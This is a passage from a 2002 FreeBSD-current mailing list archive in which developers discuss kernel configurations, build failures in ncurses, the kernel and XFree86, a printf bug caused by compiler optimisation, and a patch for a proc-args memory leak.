> options         CPU_ATHLON_SSE_HACK
> maxusers        0
> #hints          "GENERIC.hints"         #Default places to look for 
> devices.
> makeoptions     DEBUG=-g                #Build kernel with gdb(1) 
> debug symbols
> options         INET                    #InterNETworking
> #options        INET6                   #IPv6 communications protocols
> options         FFS                     #Berkeley Fast Filesystem
> options         SOFTUPDATES             #Enable FFS soft updates support
> options         UFS_DIRHASH             #Improve performance on big 
> directories
> options         MD_ROOT                 #MD is a potential root device
> options         NFSCLIENT               #Network Filesystem Client
> options         NFSSERVER               #Network Filesystem Server
> options         NFS_ROOT                #NFS usable as root device, 
> requires NFSCLIENT
> options         MSDOSFS                 #MSDOS Filesystem
> options         CD9660                  #ISO 9660 Filesystem
> options         PROCFS                  #Process filesystem (requires 
> PSEUDOFS)
> options         PSEUDOFS                #Pseudo-filesystem framework
> options         COMPAT_43               #Compatible with BSD 4.3 [KEEP 
> THIS!]
> options         SCSI_DELAY=5000         #Delay (in ms) before probing 
> SCSI
> options         KTRACE                  #ktrace(1) support
> options         SYSVSHM                 #SYSV-style shared memory
> options         SYSVMSG                 #SYSV-style message queues
> options         SYSVSEM                 #SYSV-style semaphores
> options         P1003_1B                #Posix P1003_1B real-time 
> extensions
> options         _KPOSIX_PRIORITY_SCHEDULING
> options         KBD_INSTALL_CDEV        # install a CDEV entry in /dev
> options         DDB                     #Enable the kernel debugger
> #options        INVARIANTS              #Enable calls of extra sanity 
> checking
> #options        INVARIANT_SUPPORT       #Extra sanity checks of 
> internal structures, required by INVARIANTS
> options         WITNESS                 #Enable checks to detects 
> deadlocks and cycles
> options         WITNESS_SKIPSPIN        #Don't run witness on 
> spinlocks for speed
> options         COMPAT_LINUX
> options         LINPROCFS
> options         SMP                     # Symmetric MultiProcessor Kernel
> options         APIC_IO                 # Symmetric (APIC) I/O
> device          isa
> device          eisa
> device          pci
> #options        PCI_ENABLE_IO_MODES     # Enable pci resources left 
> off by a "lazy BIOS"
> device          fdc
> device          ata
> device          atadisk                 # ATA disk drives
> device          atapicd                 # ATAPI CDROM drives
> #device         atapifd                 # ATAPI floppy drives
> #device         atapist                 # ATAPI tape drives
> options         ATA_STATIC_ID           #Static device numbering
> device          isp             # Qlogic family
> device          scbus           # SCSI bus (required)
> device          ch              # SCSI media changers
> device          da              # Direct Access (disks)
> device          sa              # Sequential Access (tape etc)
> device          cd              # CD
> device          pass            # Passthrough device (direct SCSI access)
> device          ses             # SCSI Environmental Services (and 
> SAF-TE)
> device          atkbdc  1       # At keyboard controller
> device          atkbd           # at keyboard
> device          psm             # psm mouse
> device          vga             # VGA screen
> device          agp
> device          splash
> device          sc      1
> #device         vt
> options         XSERVER                 # support for X server on a vt 
> console
> #options        FAT_CURSOR              # start with block cursor
> device          npx
> #device         apm
> device          pmtimer
> device          sio             # 8250, 16[45]50 based serial ports
> device          ppc
> device          ppbus           # Parallel port bus (required)
> device          lpt             # Printer
> device          plip            # TCP/IP over parallel
> device          ppi             # Parallel port interface device
> #device         vpo             # Requires scbus and da
> device          miibus          # MII bus support
> device          xl              # 3Com 3c90x (``Boomerang'', ``Cyclone'')
> device          random          # Entropy device
> device          loop            # Network loopback
> device          ether           # Ethernet support
> device          tun             # Packet tunnel.
> device          pty             # Pseudo-ttys (telnet etc)
> device          md              # Memory "disks"
> device          gif             # IPv6 and IPv4 tunneling
> device          faith           # IPv6-to-IPv4 relaying (translation)
> device          bpf             # Berkeley packet filter
> device          uhci            # UHCI PCI->USB interface
> device          ohci            # OHCI PCI->USB interface
> device          usb             # USB Bus (required)
> #device         udbp            # USB Double Bulk Pipe devices
> device          ugen            # Generic
> device          uhid            # "Human Interface Devices"
> device          ukbd            # Keyboard
> device          ulpt            # Printer
> device          umass           # Disks/Mass storage - Requires scbus 
> and da
> device          ums             # Mouse
> device          urio            # Diamond Rio 500 MP3 player
> device          uscanner        # Scanners
> device          aue             # ADMtek USB ethernet
> device          cue             # CATC USB ethernet
> device          kue             # Kawasaki LSI USB ethernet
>
> TIA,
> -- 
> Anthony Jenkins
>
>
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
>




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  0:11:30 2002
Delivered-To: freebsd-current@freebsd.org
Received: from speechpro.com (crt-gw.infopro.spb.su [195.201.254.5])
	by hub.freebsd.org (Postfix) with ESMTP id 1D60237B40E
	for <freebsd-current@freebsd.org>; Fri, 21 Jun 2002 00:11:25 -0700 (PDT)
Received: from drweb by sysadm.stc with drweb-scanned (Exim 3.36 #1)
	id 17LIa3-0005PN-00
	for freebsd-current@FreeBSD.ORG; Fri, 21 Jun 2002 11:11:39 +0400
Received: from igorr by sysadm.stc with local (Exim 3.36 #1)
	id 17LIa3-0005PE-00
	for freebsd-current@FreeBSD.ORG; Fri, 21 Jun 2002 11:11:39 +0400
Date: Fri, 21 Jun 2002 11:11:39 +0400
From: Igor Roboul <igorr@sysadm.stc>
To: freebsd-current@FreeBSD.ORG
Subject: Re: error in ncurses in 'make buildworld'
Message-ID: <20020621071139.GA20615@sysadm.stc>
Reply-To: ir@hotbox.ru
Mail-Followup-To: Igor Roboul <igorr@sysadm.stc>,
	freebsd-current@FreeBSD.ORG
References: <20020619163321.A48809@dragon.nuxi.com> <20020620074657.11859.qmail@web14108.mail.yahoo.com> <20020620092649.GA10310@sysadm.stc> <20020620101611.B55653@dragon.nuxi.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020620101611.B55653@dragon.nuxi.com>
User-Agent: Mutt/1.3.99i
X-Envelope-To: freebsd-current@FreeBSD.ORG
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Thu, Jun 20, 2002 at 10:16:11AM -0700, David O'Brien wrote:
> > I have posted info about awk (which is nawk) incorrectly printing 
> > numbers between 10 and 15. It adds ascii '0' to value. 
> 
> This is *NOT* a fix.  nawk builds world just fine on my systems.
> Of course this leads one to wonder what is different about my systems and
> yours.
I'm trying to figure this too. Look at following program and it's output,
and please tell me what's wrong. It works as expected on -STABLE
and Linux.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int
main(int argc,char**argv)
{
        double a;
        int b;
        char bb[100];

        strcpy(bb,argv[1]);
        printf("%lf\n",strtod(bb,NULL));
        sscanf(bb,"%lf",&a);
        printf("%lf\n",a);
        sscanf(bb,"%f",&a);
        printf("%f\n",a);
        sscanf(bb,"%d",&b);
        printf("%d\n",b);

        return 0;
}

igorr@sysadm~> gcc -Wall qq.c
qq.c: In function `main':
qq.c:16: warning: float format, double arg (arg 3) <--- I have expected this
igorr@sysadm~> ./a.out 123
123.000000
0.124861
0.0<4861	<--- Pay attention 
123

IIRC this worked fine in preGCC3.1 world.

-- 
Igor Roboul, System administrator at Speech Technology Center
http://www.speechpro.com http://www.speechpro.ru


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  0:37:12 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dilbert.robbins.dropbear.id.au (253.b.008.mel.iprimus.net.au [210.50.87.253])
	by hub.freebsd.org (Postfix) with ESMTP id C08EC37B406
	for <freebsd-current@FreeBSD.ORG>; Fri, 21 Jun 2002 00:36:56 -0700 (PDT)
Received: from dilbert.robbins.dropbear.id.au (tim@localhost [127.0.0.1])
	by dilbert.robbins.dropbear.id.au (8.12.3/8.12.3) with ESMTP id g5L7aOY2099451;
	Fri, 21 Jun 2002 17:36:27 +1000 (EST)
	(envelope-from tim@dilbert.robbins.dropbear.id.au)
Received: (from tim@localhost)
	by dilbert.robbins.dropbear.id.au (8.12.3/8.12.3/Submit) id g5L7YCaZ099444;
	Fri, 21 Jun 2002 17:34:12 +1000 (EST)
Date: Fri, 21 Jun 2002 17:33:22 +1000
From: Tim Robbins <tjr@FreeBSD.ORG>
To: ir@hotbox.ru
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: error in ncurses in 'make buildworld'
Message-ID: <20020621173322.A99420@dilbert.robbins.dropbear.id.au>
References: <20020619163321.A48809@dragon.nuxi.com> <20020620074657.11859.qmail@web14108.mail.yahoo.com> <20020620092649.GA10310@sysadm.stc> <20020620101611.B55653@dragon.nuxi.com> <20020621071139.GA20615@sysadm.stc>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020621071139.GA20615@sysadm.stc>; from igorr@sysadm.stc.robbins.dropbear.id.au on Fri, Jun 21, 2002 at 11:11:39AM +0400
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Fri, Jun 21, 2002 at 11:11:39AM +0400, Igor Roboul wrote:

> igorr@sysadm~> gcc -Wall qq.c
> qq.c: In function `main':
> qq.c:16: warning: float format, double arg (arg 3) <--- I have expected this
> igorr@sysadm~> ./a.out 123
> 123.000000
> 0.124861
> 0.0<4861	<--- Pay attention 
> 123

What -O level did you compile libc with? Optimisation levels >= 2 damage
__vfprintf() with the in-tree gcc, causing these same symptoms.

The fix is to remove any optimisation options above -O, go into
/usr/src/lib/libc, rebuild and install the static libc.a, build and install a
static linked awk binary, then rebuild world + kernel as usual.


Tim

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  0:44:52 2002
Delivered-To: freebsd-current@freebsd.org
Received: from speechpro.com (crt-gw.infopro.spb.su [195.201.254.5])
	by hub.freebsd.org (Postfix) with ESMTP id CCC3B37B40C
	for <freebsd-current@freebsd.org>; Fri, 21 Jun 2002 00:44:48 -0700 (PDT)
Received: from drweb by sysadm.stc with drweb-scanned (Exim 3.36 #1)
	id 17LJ6N-0005Xs-00
	for freebsd-current@FreeBSD.ORG; Fri, 21 Jun 2002 11:45:03 +0400
Received: from igorr by sysadm.stc with local (Exim 3.36 #1)
	id 17LJ6N-0005Xj-00
	for freebsd-current@FreeBSD.ORG; Fri, 21 Jun 2002 11:45:03 +0400
Date: Fri, 21 Jun 2002 11:45:03 +0400
From: Igor Roboul <igorr@sysadm.stc>
To: freebsd-current@FreeBSD.ORG
Subject: Re: error in ncurses in 'make buildworld'
Message-ID: <20020621074503.GA21266@sysadm.stc>
Reply-To: ir@hotbox.ru
Mail-Followup-To: Igor Roboul <igorr@sysadm.stc>,
	freebsd-current@FreeBSD.ORG
References: <20020619163321.A48809@dragon.nuxi.com> <20020620074657.11859.qmail@web14108.mail.yahoo.com> <20020620092649.GA10310@sysadm.stc> <20020620101611.B55653@dragon.nuxi.com> <20020621071139.GA20615@sysadm.stc> <20020621173322.A99420@dilbert.robbins.dropbear.id.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020621173322.A99420@dilbert.robbins.dropbear.id.au>
User-Agent: Mutt/1.3.99i
X-Envelope-To: freebsd-current@FreeBSD.ORG
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Fri, Jun 21, 2002 at 05:33:22PM +1000, Tim Robbins wrote:
> 
> What -O level did you compile libc with? Optimisation levels >= 2 damage
> __vfprintf() with the in-tree gcc, causing these same symptoms.
-O2 
> 
> The fix is to remove any optimisation options above -O, go into
> /usr/src/lib/libc, rebuild and install the static libc.a, build and install a
> static linked awk binary, then rebuild world + kernel as usual.
Thank you. I'll try this.

-- 
Igor Roboul, System administrator at Speech Technology Center
http://www.speechpro.com http://www.speechpro.ru


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  1: 5:56 2002
Delivered-To: freebsd-current@freebsd.org
Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31])
	by hub.freebsd.org (Postfix) with ESMTP id 24C0437B40A
	for <current@FreeBSD.ORG>; Fri, 21 Jun 2002 01:05:52 -0700 (PDT)
Received: by flood.ping.uio.no (Postfix, from userid 2602)
	id 525775361; Fri, 21 Jun 2002 10:05:49 +0200 (CEST)
X-URL: http://www.ofug.org/~des/
X-Disclaimer: The views expressed in this message do not necessarily
  coincide with those of any organisation or company with
  which I am or have been affiliated.
To: Bill Fenner <fenner@research.att.com>
Cc: current@FreeBSD.ORG
Subject: Re: libpcap vs. up-to-date <net/bpf.h> Re: i386 tinderbox failure
References: <200206210526.WAA26037@windsor.research.att.com>
From: Dag-Erling Smorgrav <des@ofug.org>
Date: 21 Jun 2002 10:05:49 +0200
In-Reply-To: <200206210526.WAA26037@windsor.research.att.com>
Message-ID: <xzpit4d5a5e.fsf@flood.ping.uio.no>
Lines: 11
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Bill Fenner <fenner@research.att.com> writes:
> And the answer is... it only uses the includes if you commit them
> to the FreeBSD repository instead of your local repository.

*laugh*

Thanks for fixing it so quickly!

DES
-- 
Dag-Erling Smorgrav - des@ofug.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  1:11:15 2002
Delivered-To: freebsd-current@freebsd.org
Received: from vaio.aviaport.ru (vaio.aviaport.ru [217.69.199.242])
	by hub.freebsd.org (Postfix) with ESMTP id 839FD37B406
	for <freebsd-current@freebsd.org>; Fri, 21 Jun 2002 01:11:04 -0700 (PDT)
Received: by vaio.aviaport.ru (Postfix, from userid 1001)
	id 9AFBAE2B03; Fri, 21 Jun 2002 12:10:59 +0400 (MSD)
Date: Fri, 21 Jun 2002 12:10:59 +0400
From: Juriy Goloveshkin <j@gu.ru>
To: freebsd-current@freebsd.org
Subject: how do you build kernel and world?
Message-ID: <20020621081058.GA44689@aviaport.ru>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

make kernel:
cc -c -O -pipe  -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -W
missing-prototypes -Wpointer-arith -Winline -Wcast-qual  -Wno-format -ansi  -nos
tdinc -I-  -I. -I/usr/src/sys -I/usr/src/sys/dev -I/usr/src/sys/contrib/dev/acpi
ca -I/usr/src/sys/contrib/ipfilter -I/usr/src/sys/../include  -D_KERNEL -include
opt_global.h -fno-common   -mpreferred-stack-boundary=2 -ffreestanding -Werror
vnode_if.c
In file included from /usr/src/sys/sys/vnode.h:549,
 from vnode_if.c:10:
 vnode_if.h:17: syntax error before ')' token
 cc1: warnings being treated as errors
 vnode_if.h:18: warning: function declaration isn't a prototype
 vnode_if.h: In function `VOP_ISLOCKED':
 vnode_if.h:22: `vp' undeclared (first use in this function)
 vnode_if.h:22: (Each undeclared identifier is reported only once
 vnode_if.h:22: for each function it appears in.)

vnode_if.h
extern struct vnodeop_desc vop_islocked_desc;
static __inline int VOP_ISLOCKED(
		  struct vnode *vp,
			   )
{

make world:
cc -O -pipe  -I. -I/usr/src/lib/libncurses -I/usr/src/lib/libncurses/../../contr
ib/ncurses/ncurses -I/usr/src/lib/libncurses/../../contrib/ncurses/include -Wall
 -DFREEBSD_NATIVE -DNDEBUG -DHAVE_CONFIG_H -DTERMIOS  -c lib_gen.c -o lib_gen.o
 lib_gen.c: In function `addchnstr':
 lib_gen.c:27: `a0' undeclared (first use in this function)
 lib_gen.c:27: (Each undeclared identifier is reported only once
 lib_gen.c:27: for each function it appears in.)
 lib_gen.c:27: syntax error before numeric constant

-- 
bye
Juriy Goloveshkin

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  1:15:51 2002
Delivered-To: freebsd-current@freebsd.org
Received: from elvis.mu.org (elvis.mu.org [192.203.228.196])
	by hub.freebsd.org (Postfix) with ESMTP
	id 12F0437B400; Fri, 21 Jun 2002 01:15:39 -0700 (PDT)
Received: by elvis.mu.org (Postfix, from userid 1921)
	id D37F5AE03F; Fri, 21 Jun 2002 01:15:38 -0700 (PDT)
Date: Fri, 21 Jun 2002 01:15:38 -0700
From: Jon Mini <baka@elvis.mu.org>
To: Peter Jeremy <peter.jeremy@alcatel.com.au>
Cc: alfred@freebsd.org, current@freebsd.org
Subject: Re: (forw) proc-args (M_PARGS) leakage
Message-ID: <20020621081538.GC82982@elvis.mu.org>
References: <20020617044612.GD67925@elvis.mu.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020617044612.GD67925@elvis.mu.org>
User-Agent: Mutt/1.3.27i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

> From: Peter Jeremy <peter.jeremy@alcatel.com.au>
> To: freebsd-current@freebsd.org
> Subject: proc-args (M_PARGS) leakage
> Date: Mon, 17 Jun 2002 13:15:03 +1000
> Message-id: <20020617131502.O680@gsmx07.alcatel.com.au>
> User-Agent: Mutt/1.2.5.1i
> Sender: owner-freebsd-current@FreeBSD.ORG
> 
> This is -CURRENT from 7th May so it's possible the bug has been
> fixed, though there's nothing obvious in either the CVS commit
> logs or by diffing the relevant files.
> 
> Having noticed that my system is paging far more than I would have
> expected, I went looking and found that the 'proc-args' pool was
> far larger than I expected.  And is growing over time:
> 
> gsmx07# vmstat -m|grep proc-args
>     proc-args701802 70634K  70634K  1589264  16,32,64,128,256
> [about 10 minutes delay]
> gsmx07# vmstat -m|grep proc-args;vmstat -m|grep proc-args 
>     proc-args702048 70652K  70652K  1589557  16,32,64,128,256
>     proc-args702047 70652K  70652K  1589558  16,32,64,128,256
> gsmx07# 
> 
> Unfortunately, M_PARGS is not the easiest pool to track allocations
> and de-allocations.  Having gone through the references to pargs_*()
> and p_args, I can't see any obvious cause of this.

This is definately failure to drop a reference.

> Whilst I'm fairly certain it's not my problem, sysctl_kern_proc_args()
> (1.136) looks dubious:

  [ ... ]

> (And later code shows pa dead at this point).  I don't follow this.
> pargs_drop(pa) deletes a single reference count - which matches the
> line "p->p_args = NULL;" - but I don't see anything to match the
> pargs_hold(pa) above.

You are correct, One reference too few is dropped when a proc's pargs
is changed. This would mean that every call to setproctitle(3) would
cause a leak.

Please let me know if this fixes your problem:

Index: kern_proc.c
===================================================================
RCS file: /home/ncvs/src/sys/kern/kern_proc.c,v
retrieving revision 1.136
diff -u -r1.136 kern_proc.c
--- kern_proc.c	7 Jun 2002 05:41:27 -0000	1.136
+++ kern_proc.c	21 Jun 2002 08:04:17 -0000
@@ -1024,10 +1024,9 @@
 	if (req->oldptr && pa != NULL) {
 		error = SYSCTL_OUT(req, pa->ar_args, pa->ar_length);
 	}
-	if (req->newptr == NULL) {
-		pargs_drop(pa);
+	pargs_drop(pa);
+	if (req->newptr == NULL)
 		return (error);
-	}
 
 	PROC_LOCK(p);
 	pa = p->p_args;

> Additionally, whilst I'm certain it's not my problem,
> fill_kinfo_proc() copys a reference to pargs, but doesn't increment
> the reference counter (using pargs_hold()).

You are correct; this is intentional. The kinfo stuff is terribly broken
currently. Many fields, pargs being one of them, are broken. A kinfo
struct is passed to userland, so it can't hold any references to kernel
objects. Really, kinfo should contain a copy of the string, not a pargs
pointer.

-- 
Jonathan Mini <mini@freebsd.org>
http://www.freebsd.org/

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  1:57: 3 2002
Delivered-To: freebsd-current@freebsd.org
Received: from camel.aviaport.ru (camel.aviaport.ru [217.69.199.243])
	by hub.freebsd.org (Postfix) with ESMTP id 2226A37B40E
	for <freebsd-current@freebsd.org>; Fri, 21 Jun 2002 01:56:58 -0700 (PDT)
Received: by camel.aviaport.ru (Postfix, from userid 1001)
	id E4C377BAC; Fri, 21 Jun 2002 12:57:04 +0400 (MSD)
Date: Fri, 21 Jun 2002 12:57:04 +0400
From: Ilya Naumov <camel@aviaport.ru>
To: freebsd-current@freebsd.org
Subject: XFree86-4-libraries build problem on -current
Message-ID: <20020621085704.GA61413@aviaport.ru>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

i can't install XFree86-4-libraries using -current cvsupped and copmiled a day ago. it builds fine, but the installations fails with the following diags:

LD_LIBRARY_PATH=../../../../../exports/lib cc -c -ansi -pedantic -Dasm=__asm -Wall -Wpointer-arith  -I../../../../../exports/include/X11 -I../../../../../include/extensions -I../../../../../extras/Mesa/src/OSmesa -I../../../../../extras/Mesa/src 		-I../../../../../extras/Mesa/include   -I../../../../.. -I../../../../../exports/include   -DCSRG_BASED  -DFUNCPROTO=15 -DNARROWPROTO -DXTHREADS   -DXUSE_MTSAFE_API -DXNO_MTSAFE_PWDAPI    -DMALLOC_0_RETURNS_NULL      ../../../../../lib/GL/mesa/src/translate.c -o unshared/../../../../../lib/GL/mesa/src/translate.o
*** Error code 1

Stop in /garbage/ports/x11/XFree86-4-libraries/work/xc/lib/GL/mesa/src/OSmesa.
*** Error code 1

Stop in /garbage/ports/x11/XFree86-4-libraries/work/xc/lib/GL.
*** Error code 1

Stop in /garbage/ports/x11/XFree86-4-libraries/work/xc/lib.
*** Error code 1

Stop in /garbage/ports/x11/XFree86-4-libraries/work/xc.
*** Error code 1

Stop in /garbage/ports/x11/XFree86-4-libraries/work/xc.
*** Error code 1

Stop in /garbage/ports/x11/XFree86-4-libraries.
*** Error code 1

i have seen an 'unofficial' patch announce (http://docs.freebsd.org/cgi/getmsg.cgi?fetch=7709+0+current/freebsd-current), but i couldn't find the exact fix. could you please re-post it or commit necessary changes right into the port?

thanks in advance.

-- 

sincerely,
ilya naumov (at work)

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  1:58:53 2002
Delivered-To: freebsd-current@freebsd.org
Received: from arioch.digital-euphoria.net (arioch.digital-euphoria.net [212.158.51.50])
	by hub.freebsd.org (Postfix) with ESMTP id 3E6DB37B404
	for <freebsd-current@FreeBSD.org>; Fri, 21 Jun 2002 01:58:50 -0700 (PDT)
Received: (qmail 1876 invoked by uid 1031); 21 Jun 2002 08:57:24 -0000
Received: from m.napper@digital-euphoria.net by arioch by uid 1028 with qmail-scanner-1.12 (fsecure: 4.13/3360/2002-05-10/2002-05-07. 2002-05-13/. Clear:. Processed in 0.577152 secs); 21 Jun 2002 08:57:24 -0000
Received: from unknown (HELO MARK) (lordofla@digital-euphoria.co.uk@217.35.26.144)
  by arioch.digital-euphoria.net with SMTP; 21 Jun 2002 08:57:23 -0000
Date: Fri, 21 Jun 2002 09:57:29 +0100
From: Mark Napper <m.napper@digital-euphoria.net>
X-Mailer: The Bat! (v1.60m)
Reply-To: Mark Napper <m.napper@digital-euphoria.net>
Organization: Digital Euphoria Communications
X-Priority: 3 (Normal)
Message-ID: <1554080010.20020621095729@digital-euphoria.net>
Disposition-Notification-To: m.napper@digital-euphoria.net
To: freebsd-current@FreeBSD.org
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

subscribe


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  3:44: 1 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.mk.bsdclub.org (l209160.ppp.asahi-net.or.jp [218.219.209.160])
	by hub.freebsd.org (Postfix) with ESMTP id ADF2A37B406
	for <freebsd-current@FreeBSD.ORG>; Fri, 21 Jun 2002 03:43:52 -0700 (PDT)
Received: from sakura.mk.bsdclub.org (sakura.mk.bsdclub.org [2001:200:341:0:2a0:c9ff:fe20:9aff])
	by mail.mk.bsdclub.org (8.11.6+3.4W/3.7W/smtpfeed 1.18) with ESMTP/inet6 id g5LAhpi06212;
	Fri, 21 Jun 2002 19:43:51 +0900 (JST)
Received: from sakura.mk.bsdclub.org (localhost [127.0.0.1])
	by sakura.mk.bsdclub.org (8.11.6+3.4W/3.7W) with ESMTP/inet id g5LAhop25765;
	Fri, 21 Jun 2002 19:43:50 +0900 (JST)
Message-Id: <200206211043.g5LAhop25765@sakura.mk.bsdclub.org>
To: Kris Kennaway <kris@obsecurity.org>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: GCC3.1 internal compiler error when compiling XFree86-4-libraries
From: Motoyuki Konno <motoyuki@bsdclub.org>
References: <20020608.171312.730576735.ken@tydfam.jp> <20020608013938.B5755@xor.obsecurity.org> <20020608092926.GA2635@StefanEsser.FreeBSD.org>
	<20020616023918.C12427@xor.obsecurity.org>
User-Agent: EMH/1.10.0 SEMI/1.14.3 (Ushinoya) FLIM/1.14.3 (Unebigoryomae) APEL/10.3 Emacs/21.2 (i386--freebsd) MULE/5.0 (SAKAKI)
MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya")
Content-Type: multipart/mixed;
 boundary="Multipart_Fri_Jun_21_19:43:50_2002-1"
Date: Fri, 21 Jun 2002 19:43:50 +0900
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

--Multipart_Fri_Jun_21_19:43:50_2002-1
Content-Type: text/plain; charset=US-ASCII

Kris Kennaway <kris@obsecurity.org> wrote:
> > I got around this problem by (indirectly) fixing the ".c.o" rule
> > in the Imakefile. This patch was part of my previous mail to you
> > regarding the XFree86 library build process (new version of patch-z32).
> 
> Thanks for looking into this; I'd appreciate it if someone could
> commit a fix, but the patch below is suboptimal because it affects all
> versions of FreeBSD.  Can you modify it so it only disables
> optimization on (recent) 5.0?

Here is one example of new ports/x11/XFree86-4-libraries/files/patch-z32c.

--
------------------------------------------------------------------------
